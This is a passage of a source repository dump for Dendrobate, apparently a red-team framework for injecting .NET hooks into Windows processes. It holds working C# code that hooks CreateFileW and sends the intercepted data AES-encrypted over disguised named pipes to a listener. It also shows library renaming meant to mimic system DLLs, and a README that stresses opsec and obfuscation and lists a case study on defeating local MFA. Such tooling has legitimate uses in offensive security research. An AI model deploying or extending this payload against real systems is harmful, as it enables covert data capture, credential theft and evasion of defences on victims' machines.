39 | private static Object ThreadSafe = new Object();
40 |
41 | private static void Install()
42 | {
43 | lock (ThreadSafe)
44 | {
45 | // Ensure we create a new one if the existing
46 | // channel cannot be pinged
47 | try
48 | {
49 | if (m_Interface != null)
50 | m_Interface.Ping();
51 | }
52 | catch
53 | {
54 | m_Interface = null;
55 | }
56 |
57 | if (m_Interface == null)
58 | {
59 | String ChannelName = RemoteHooking.GenerateName();
60 | String SvcExecutablePath = (Config.DependencyPath.Length > 0 ? Config.DependencyPath : Config.GetProcessPath()) + Config.GetWOW64BypassExecutableName();
61 |
62 | Process Proc = new Process();
63 | ProcessStartInfo StartInfo = new ProcessStartInfo(
64 | SvcExecutablePath, "\"" + ChannelName + "\"");
65 |
66 | // create sync objects
67 | EventWaitHandle Listening = new EventWaitHandle(
68 | false,
69 | EventResetMode.ManualReset,
70 | "Global\\Event_" + ChannelName);
71 |
72 | m_TermMutex = new Mutex(true, "Global\\Mutex_" + ChannelName);
73 |
74 | // start and connect program
75 | StartInfo.CreateNoWindow = true;
76 | StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
77 |
78 | Proc.StartInfo = StartInfo;
79 |
80 | Proc.Start();
81 |
82 | if (!Listening.WaitOne(5000, true))
83 | throw new ApplicationException("Unable to wait for service application due to timeout.");
84 |
85 | HelperServiceInterface Interface = RemoteHooking.IpcConnectClient(ChannelName);
86 |
87 | Interface.Ping();
88 |
89 | m_Interface = Interface;
90 | }
91 | }
92 | }
93 |
94 | public static void Inject(
95 | Int32 InHostPID,
96 | Int32 InTargetPID,
97 | Int32 InWakeUpTID,
98 | Int32 InNativeOptions,
99 | String InLibraryPath_x86,
100 | String InLibraryPath_x64,
101 | Boolean InRequireStrongName,
102 | params Object[] InPassThruArgs)
103 | {
104 | Install();
105 |
106 | m_Interface.InjectEx(
107 | InHostPID,
108 | InTargetPID,
109 | InWakeUpTID,
110 | InNativeOptions,
111 | InLibraryPath_x86,
112 | InLibraryPath_x64,
113 | false,
114 | true,
115 | InRequireStrongName,
116 | InPassThruArgs);
117 | }
118 | }
119 | }
120 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/oleaccrt.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | 8.0.50727
7 | 2.0
8 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}
9 | Library
10 | Properties
11 | oleaccrt
12 | oleaccrt
13 | true
14 | StrongName.snk
15 | publish\
16 | true
17 | Disk
18 | false
19 | Foreground
20 | 7
21 | Days
22 | false
23 | false
24 | true
25 | 0
26 | 1.0.0.%2a
27 | false
28 | false
29 | true
30 | v4.0
31 | Client
32 |
33 |
34 | true
35 | full
36 | false
37 | ..\Build\$(Configuration)\x64\
38 | DEBUG;TRACE;NET35
39 | prompt
40 | 4
41 | ..\Build\netfx3.5-Debug\x64\oleaccrt.xml
42 | AllRules.ruleset
43 | v3.5
44 | Client
45 | true
46 |
47 |
48 | pdbonly
49 | true
50 | ..\Build\$(Configuration)\x64\
51 | TRACE;NET35
52 | prompt
53 | 4
54 | ..\Build\netfx3.5-Release\x64\oleaccrt.xml
55 | AllRules.ruleset
56 | v3.5
57 | Client
58 | true
59 |
60 |
61 | ..\Build\$(Configuration)\x64\
62 | TRACE;NET4
63 | ..\Build\netfx4-Release\x64\oleaccrt.xml
64 | true
65 | pdbonly
66 | AnyCPU
67 | prompt
68 | AllRules.ruleset
69 | v4.0
70 | Client
71 | true
72 |
73 |
74 | true
75 | ..\Build\$(Configuration)\x64\
76 | DEBUG;TRACE;NET4
77 | ..\Build\netfx4-Debug\x64\oleaccrt.xml
78 | full
79 | AnyCPU
80 | prompt
81 | AllRules.ruleset
82 | v4.0
83 | Client
84 | true
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 | False
117 | Microsoft .NET Framework 4 %28x86 and x64%29
118 | true
119 |
120 |
121 | False
122 | .NET Framework 3.5 SP1 Client Profile
123 | false
124 |
125 |
126 | False
127 | .NET Framework 3.5 SP1
128 | false
129 |
130 |
131 | False
132 | Windows Installer 3.1
133 | true
134 |
135 |
136 |
137 |
138 |
145 |
146 |
147 |
148 |
149 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/Native-EasyHook32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/Native-EasyHook32.dll
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/Native-EasyHook64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/Native-EasyHook64.dll
--------------------------------------------------------------------------------
/Dendron/Dendron.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Dendron", "Dendron\Dendron.csproj", "{C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | Release|x86 = Release|x86
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x64.ActiveCfg = Release|x64
15 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x64.Build.0 = Release|x64
16 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x86.ActiveCfg = Release|x86
17 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x86.Build.0 = Release|x86
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B7BFE441-FBFF-429C-909D-9F1F48F3ED85}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Dendron/Dendron/API.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace Dendron
5 | {
6 | class API
7 | {
8 | // Native API's
9 | //-----------
10 | [DllImport("KernelBase.dll")]
11 | public static extern IntPtr CreateFileW(
12 | IntPtr lpFileName,
13 | UInt32 dwDesiredAccess,
14 | UInt32 dwShareMode,
15 | IntPtr lpSecurityAttributes,
16 | UInt32 dwCreationDisposition,
17 | UInt32 dwFlagsAndAttributes,
18 | IntPtr hTemplateFile);
19 |
20 | // Delegates
21 | //-----------
22 | public struct DELEGATES
23 | {
24 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
25 | public delegate IntPtr CreateFileW(
26 | IntPtr lpFileName,
27 | UInt32 dwDesiredAccess,
28 | UInt32 dwShareMode,
29 | IntPtr lpSecurityAttributes,
30 | UInt32 dwCreationDisposition,
31 | UInt32 dwFlagsAndAttributes,
32 | IntPtr hTemplateFile);
33 | }
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/Dendron/Dendron/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Dendron/Dendron/Costura32/msvcp_win32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/Costura32/msvcp_win32.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/Costura64/msvcp_win64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/Costura64/msvcp_win64.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/Dendron.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}
8 | Exe
9 | Dendron
10 | Dendron
11 | v3.5
12 | 512
13 | true
14 |
15 |
16 |
17 |
18 |
19 | bin\x64\Release\
20 | TRACE
21 | true
22 | pdbonly
23 | x64
24 | 7.3
25 | prompt
26 | MinimumRecommendedRules.ruleset
27 | true
28 |
29 |
30 | bin\x86\Release\
31 | TRACE
32 | true
33 | pdbonly
34 | x86
35 | 7.3
36 | prompt
37 | MinimumRecommendedRules.ruleset
38 | true
39 |
40 |
41 |
42 |
43 | libs\x64\35\oleaccrt.dll
44 | False
45 |
46 |
47 |
48 |
49 | libs\x86\35\oleaccrt.dll
50 |
51 |
52 |
53 |
54 |
55 | libs\x64\45\oleaccrt.dll
56 |
57 |
58 |
59 |
60 | libs\x86\45\oleaccrt.dll
61 |
62 |
63 |
64 |
65 |
66 | ..\packages\Costura.Fody.1.6.2\lib\dotnet\Costura.dll
67 | False
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
97 |
98 |
99 |
100 |
101 |
102 |
--------------------------------------------------------------------------------
/Dendron/Dendron/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | oleaccrt
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Dendron/Dendron/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Threading;
4 | using System.Windows.Forms;
5 |
6 | namespace Dendron
7 | {
8 | class Program
9 | {
10 | // Install Hooks
11 | //-----------
12 | public static void CreateFileWHook()
13 | {
14 | // Create new native function hook
15 | var nHook = oleaccrt.LocalHook.Create(
16 | oleaccrt.LocalHook.GetProcAddress("KernelBase.dll", "CreateFileW"),
17 | new API.DELEGATES.CreateFileW(CreateFileWDetour),
18 | null);
19 |
20 | // Add hook to global hook list
21 | hDendron.lHook.Add(nHook);
22 |
23 | // Set Thread ACL for hook
24 | nHook.ThreadACL.SetExclusiveACL(new int[] { 0 }); // Hook all threads except our thread
25 | }
26 |
27 | // Function Detours
28 | //-----------
29 | static private IntPtr CreateFileWDetour(
30 | IntPtr lpFileName,
31 | UInt32 dwDesiredAccess,
32 | UInt32 dwShareMode,
33 | IntPtr lpSecurityAttributes,
34 | UInt32 dwCreationDisposition,
35 | UInt32 dwFlagsAndAttributes,
36 | IntPtr hTemplateFile)
37 | {
38 |
39 | // Perform operation in the hooked function
40 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT();
41 | oHook.sHookFunc = "KernelBase!CreateFileW";
42 | oHook.iType = 0;
43 | oHook.sHookData = "lpFileName -> " + Marshal.PtrToStringUni(lpFileName);
44 |
45 | // Send data to pipe
46 | hDendron.passHookDataByPipe(oHook);
47 |
48 | // Return to real function
49 | return API.CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
50 | }
51 |
52 | static void Main(string[] args)
53 | {
54 | // Init all hooks
55 | //-----------
56 | CreateFileWHook();
57 |
58 | // Start control pipe thread
59 | //-----------
60 | Thread ControlThread = new Thread(() => {
61 | hDendron.listenControlPipe();
62 | });
63 | ControlThread.IsBackground = false;
64 | ControlThread.Start();
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/Dendron/Dendron/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Dendron")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Dendron")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c0343ae4-f86b-4c16-8c4a-6db0ef19588d")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Dendron/Dendron/hDendron.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.IO.Pipes;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Cryptography;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace Dendron
11 | {
12 | class hDendron
13 | {
14 | // Globals
15 | //-----------
16 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates
17 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates
18 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates
19 | public static List lHook = new List(); // Global hook list
20 | public static readonly Object lockDataOperation = new Object();
21 |
22 | // Structs
23 | //-----------
24 | [StructLayout(LayoutKind.Sequential)]
25 | public struct HOOKDAT
26 | {
27 | public UInt32 iType; // 0 == String; 1 == Byte[]; 2 == Fail decrypt; 3 == Fail Data
28 | public String sHookFunc; // Function where the data originated
29 | public String sHookData;
30 | public Byte[] bHookData;
31 | }
32 |
33 | // Helpers
34 | //-----------
35 | public static Byte[][] ComputeSha256KeyMat(String sInput)
36 | {
37 | Byte[][] res = new Byte[2][];
38 | Encoding enc = Encoding.UTF8;
39 |
40 | SHA256 sha256 = new SHA256CryptoServiceProvider();
41 | byte[] hashKey = sha256.ComputeHash(enc.GetBytes(sInput));
42 | byte[] hashIV = sha256.ComputeHash(enc.GetBytes(sInput));
43 | Array.Resize(ref hashIV, 16);
44 |
45 | res[0] = hashKey;
46 | res[1] = hashIV;
47 |
48 | return res;
49 | }
50 |
51 | public static Byte[] AES256EncryptToArray(Byte[] bInput, Byte[] bKey, Byte[] bIV)
52 | {
53 | Byte[] encrypted;
54 |
55 | using (AesManaged aesAlg = new AesManaged())
56 | {
57 | aesAlg.Key = bKey;
58 | aesAlg.IV = bIV;
59 |
60 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
61 |
62 | using (MemoryStream msEncrypt = new MemoryStream())
63 | {
64 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
65 | {
66 | using (BinaryWriter swEncrypt = new BinaryWriter(csEncrypt))
67 | {
68 | swEncrypt.Write(bInput);
69 | }
70 | encrypted = msEncrypt.ToArray();
71 | }
72 | }
73 | }
74 | return encrypted;
75 | }
76 |
77 | public static Byte[] ObjectToByteArray(HOOKDAT oHookDat)
78 | {
79 | //--- Array structure
80 | // [UInt32 Type]--[UInt32 Size]--[UTF8 sFuncName]--[UInt32 Size]--[Byte[] Hook data]
81 | //---
82 |
83 | // Create elements
84 | Byte[] bType = BitConverter.GetBytes(oHookDat.iType);
85 |
86 | Byte[] bSFunc = Encoding.UTF8.GetBytes(oHookDat.sHookFunc);
87 | Byte[] bISFunc = BitConverter.GetBytes((UInt32)bSFunc.Length);
88 |
89 | Byte[] bData;
90 | Byte[] bIData;
91 | if (oHookDat.iType == 0)
92 | {
93 | bData = Encoding.UTF8.GetBytes(oHookDat.sHookData);
94 | bIData = BitConverter.GetBytes((UInt32)bData.Length);
95 | } else
96 | {
97 | bData = oHookDat.bHookData;
98 | bIData = BitConverter.GetBytes((UInt32)bData.Length);
99 | }
100 |
101 | // Make array
102 | UInt32 iArrLen = (UInt32)(bType.Length + bSFunc.Length + bISFunc.Length + bData.Length + bIData.Length);
103 | Byte[] bResArray = new byte[iArrLen];
104 |
105 | // Populate array
106 | // --> Kind of ugly but ¯\_(ツ)_/¯
107 | Buffer.BlockCopy(bType, 0, bResArray, 0, bType.Length);
108 | Buffer.BlockCopy(bISFunc, 0, bResArray, bType.Length, bISFunc.Length);
109 | Buffer.BlockCopy(bSFunc, 0, bResArray, bType.Length + bISFunc.Length, bSFunc.Length);
110 | Buffer.BlockCopy(bIData, 0, bResArray, bType.Length + bISFunc.Length + bSFunc.Length, bIData.Length);
111 | Buffer.BlockCopy(bData, 0, bResArray, bType.Length + bISFunc.Length + bSFunc.Length + bIData.Length, bData.Length);
112 |
113 | return bResArray;
114 | }
115 |
116 | public static Byte[] arrayToAESArray(Byte[] bInput)
117 | {
118 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey);
119 | return AES256EncryptToArray(bInput, aSHAKeyMatt[0], aSHAKeyMatt[1]);
120 | }
121 |
122 | private static byte[] ReadMessage(PipeStream pipe)
123 | {
124 | byte[] buffer = new byte[1024];
125 | using (var ms = new MemoryStream())
126 | {
127 | do
128 | {
129 | var readBytes = pipe.Read(buffer, 0, buffer.Length);
130 | ms.Write(buffer, 0, readBytes);
131 | }
132 | while (!pipe.IsMessageComplete);
133 |
134 | return ms.ToArray();
135 | }
136 | }
137 |
138 | public static Byte[] DecryptArrayFromAES256(Byte[] bCipherText, Byte[] bKey, Byte[] bIV)
139 | {
140 | Byte[] bResult = { };
141 | try
142 | {
143 | using (Aes aesAlg = Aes.Create())
144 | using (MemoryStream output = new MemoryStream())
145 | {
146 | aesAlg.Key = bKey;
147 | aesAlg.IV = bIV;
148 |
149 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
150 | using (MemoryStream msDecrypt = new MemoryStream(bCipherText))
151 | {
152 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
153 | {
154 | Byte[] buffer = new Byte[1024];
155 | Int32 read = csDecrypt.Read(buffer, 0, buffer.Length);
156 | while (read > 0)
157 | {
158 | output.Write(buffer, 0, read);
159 | read = csDecrypt.Read(buffer, 0, buffer.Length);
160 | }
161 | csDecrypt.Flush();
162 | bResult = output.ToArray();
163 | }
164 | }
165 | }
166 | return bResult;
167 | }
168 | catch
169 | {
170 | return bResult;
171 | }
172 | }
173 |
174 | public static void listenControlPipe()
175 | {
176 | while (true)
177 | {
178 | var oPipe = new NamedPipeServerStream(sControlPipe, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message);
179 | oPipe.WaitForConnection();
180 | Byte[] messageBytes = ReadMessage(oPipe);
181 |
182 | // Process data
183 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey);
184 | Byte[] bDecrypt = DecryptArrayFromAES256(messageBytes, aSHAKeyMatt[0], aSHAKeyMatt[1]);
185 |
186 | // Magic data
187 | String sMagic = String.Empty;
188 | try
189 | {
190 | sMagic = Encoding.UTF8.GetString(bDecrypt);
191 | }
192 | catch { }
193 |
194 | if (sMagic == "Dendrobate")
195 | {
196 | // Remove hooks
197 | foreach (oleaccrt.LocalHook oHook in lHook)
198 | {
199 | oHook.Dispose();
200 | oleaccrt.LocalHook.Release();
201 | }
202 |
203 | // Exit thread
204 | break;
205 | }
206 | }
207 | }
208 |
209 | public static Boolean passHookDataByPipe(HOOKDAT oHookDat)
210 | {
211 | lock(lockDataOperation)
212 | {
213 | try
214 | {
215 | NamedPipeClientStream pipe = new NamedPipeClientStream("localhost", sDataPipe, PipeDirection.InOut);
216 | try
217 | {
218 | // Can we connect to the pipe?
219 | pipe.Connect(50); // Unclear if we need a small buffer time here
220 | pipe.ReadMode = PipeTransmissionMode.Message;
221 |
222 | // Turn object into byte array
223 | Byte[] bStruct = ObjectToByteArray(oHookDat);
224 |
225 | // Write data
226 | Byte[] ecnHookDat = arrayToAESArray(bStruct);
227 | pipe.Write(ecnHookDat, 0, ecnHookDat.Length);
228 | pipe.Close();
229 |
230 | return true;
231 | }
232 | catch
233 | {
234 | pipe.Close();
235 | return false;
236 | }
237 | } catch
238 | {
239 | return false;
240 | }
241 | }
242 | }
243 | }
244 | }
245 |
--------------------------------------------------------------------------------
/Dendron/Dendron/libs/x64/35/oleaccrt.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x64/35/oleaccrt.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/libs/x64/45/oleaccrt.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x64/45/oleaccrt.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/libs/x86/35/oleaccrt.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x86/35/oleaccrt.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/libs/x86/45/oleaccrt.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x86/45/oleaccrt.dll
--------------------------------------------------------------------------------
/Dendron/Dendron/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/Images/apimon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/apimon.png
--------------------------------------------------------------------------------
/Images/cobaltstrike.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/cobaltstrike.png
--------------------------------------------------------------------------------
/Images/dendrobate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/dendrobate.png
--------------------------------------------------------------------------------
/Images/donut.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/donut.png
--------------------------------------------------------------------------------
/Images/fermion.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/fermion.png
--------------------------------------------------------------------------------
/Images/vip.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/vip.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright 2021 Ruben Boonen
2 |
3 | Licensed under the Apache License, Version 2.0 (the "License");
4 | you may not use this file except in compliance with the License.
5 | You may obtain a copy of the License at
6 |
7 | http://www.apache.org/licenses/LICENSE-2.0
8 |
9 | Unless required by applicable law or agreed to in writing, software
10 | distributed under the License is distributed on an "AS IS" BASIS,
11 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | See the License for the specific language governing permissions and
13 | limitations under the License.
--------------------------------------------------------------------------------
/LICENSE-3RD-PARTY.txt:
--------------------------------------------------------------------------------
1 | ModuleId Version LicenseUrl
2 | -------- ------- ----------
3 | EasyHook v2.7.7097 https://licenses.nuget.org/MIT
4 | Fody 2.5.0 https://licenses.nuget.org/MIT
5 | Costura.Fody 1.6.2 https://licenses.nuget.org/MIT
6 | CommandLineParser 1.9.3.15 https://licenses.nuget.org/MIT
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # Dendrobate
3 |
4 |
5 | Dendrobate is a framework that facilitates the development of payloads that hook unmanaged code through managed .NET code. To do this Dendrobate uses EasyHook and packs the injected component, Dendron, using Fody & Costura. This is all done automatically so all you need to do when you compile Dendron is select the appropriate .NET version (only v3.5 and v4.5 are supported!).
6 |
7 | The counterpart to Dendron is Bates. Bates can receive data from applications hooked by Dendron passed using AES encryption over named pipes. Bates can also signal applications hooked by Dendron to un-hook.
8 |
9 | ## Index
10 |
11 | - [Why Make Dendrobate?](#why-make-dendrobate)
12 | - [Using Dendrobate](#using-dendrobate)
13 | - [BuildEnv](#buildenv)
14 | - [Dendron](#dendron)
15 | - [Bates](#bates)
16 | - [Named Pipe Communication](#named-pipe-communication)
17 | - [Operational Use](#operational-use)
18 | - [Deploying Dendrobate](#deploying-dendrobate)
19 | - [Extending Dendrobate](#extending-dendrobate)
20 | - [Case-Study: Defeating Local MFA](#case-study-defeating-local-mfa)
21 | - [Symantec VIP](#symantec-vip)
22 | - [Sensitive Data Discovery](#sensitive-data-discovery)
23 | - [POC Development](#poc-development)
24 | - [Preparing Dendron](#preparing-dendron)
25 | - [Profit](#profit)
26 |
27 | ## Why Make Dendrobate?
28 |
29 | Sometimes on-the-fly hooking can be an operational requirement. In those cases I usually DIY a solution but by doing so sacrifice development time and opsec (to an extent). Dendrobate is a way to solve that issue more permanently.
30 |
31 | ## Using Dendrobate
32 |
33 | ### BuildEnv
34 |
35 | BuildEnv is a versioned folder that lets you recompile the managed .NET binding for EasyHook so you can:
36 |
37 | - Change the name of the native EasyHook DLL the binding will try to import from.
38 | - Current config: **msvcp_win64.dll** & **msvcp_win32.dll**
39 | - Change the managed binding assembly name.
40 | - Current config: **oleaccrt**
41 | - Change the managed binding default namespace.
42 | - Current config: **oleaccrt**
43 | - Perform any other obfuscation you would like (e.g. change class / function names).
44 |
45 | Consider also rebuilding both the native and managed libraries to change DLL metadata (e.g. `Product name`, `Copyright`, etc.). Finally, it is also possible to strip and whole-sale include parts of the managed library directly into Dendron.
46 |
47 | ### Dendron
48 |
49 | Dendron is the injected component of Dendrobate. All you really need to take care of here is make sure you put the EasyHook dependencies in the correct folders.
50 |
51 | ```
52 | [Dendron]
53 | |_ [Costura32] --> NativeEasyHook32.dll
54 | |_ [Costura64] --> NativeEasyHook64.dll
55 | |_ [libs]
56 | |_ [x64]
57 | | |_[35] --> ManagedEasyHook.dll
58 | | |_[45] --> ManagedEasyHook.dll
59 | |_ [x86]
60 | |_[35] --> ManagedEasyHook.dll
61 | |_[45] --> ManagedEasyHook.dll
62 | ```
63 |
64 | Dendron will pack your binary with the appropriate native and managed library based on your build setting (x86/x64 <-> NET35/45). If you want to make any changes to the dependencies in Dendron you just need to edit the appropriate properties in `Dendron.csproj` and `FodyWeavers.xml`.
65 |
66 | Dendron can be used autonomously, for details on function hooking with EasyHook, please refer to the official documentation [here](http://easyhook.github.io/api/html/N_EasyHook.htm). However because you may want a convenient way to extract data from hooked applications I have included functionality to send encrypted data over a named pipe to the Dendrobate client component, Bates. All you need to do is: (1) create a `HOOKDAT` object, (2) populate it's properties and (3) pass it to a helper function.
67 |
68 | ```c#
69 | // Data Struct
70 | //==========
71 | [StructLayout(LayoutKind.Sequential)]
72 | public struct HOOKDAT
73 | {
74 | public UInt32 iType; // 0 == String; 1 == Byte[];
75 | public String sHookFunc; // Function where the data originated
76 | public String sHookData;
77 | public Byte[] bHookData;
78 | }
79 |
80 | // Example Function Detour
81 | //==========
82 | static private IntPtr CreateFileWDetour(
83 | IntPtr lpFileName,
84 | UInt32 dwDesiredAccess,
85 | UInt32 dwShareMode,
86 | IntPtr lpSecurityAttributes,
87 | UInt32 dwCreationDisposition,
88 | UInt32 dwFlagsAndAttributes,
89 | IntPtr hTemplateFile)
90 | {
91 | // Perform operations in the hooked function
92 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT();
93 | oHook.sHookFunc = "KernelBase!CreateFileW";
94 | oHook.iType = 0;
95 | oHook.sHookData = "lpFileName -> " + Marshal.PtrToStringUni(lpFileName);
96 |
97 | // Send data to pipe
98 | hDendron.passHookDataByPipe(oHook);
99 |
100 | // Return to real function
101 | return API.CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
102 | }
103 | ```
104 |
105 | ### Bates
106 |
107 | Bates is the client component of Dendrobate. It has some fairly simple functionality.
108 |
109 | - It can listen for encrypted comms from Dendron clients and has some basic code to print both plain text `String` data and to hexdump `Byte[]` data. These functions can be tailored to suite your specific needs.
110 | - It can send an encrypted magic value to Dendron clients to instruct them to un-hook all hooked functions. Note that this does not unload the manged or unmanaged code from the target, it only un-hooks.
111 |
112 | You can see some sample `String` based comms below.
113 |
114 | ```
115 | [...]
116 |
117 | [+] Dendron client connected
118 | |_ Function : KernelBase!CreateFileW
119 | |_ Data Type : String
120 | |_ Data :
121 |
122 | lpFileName -> C:\Users\b33f\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
123 |
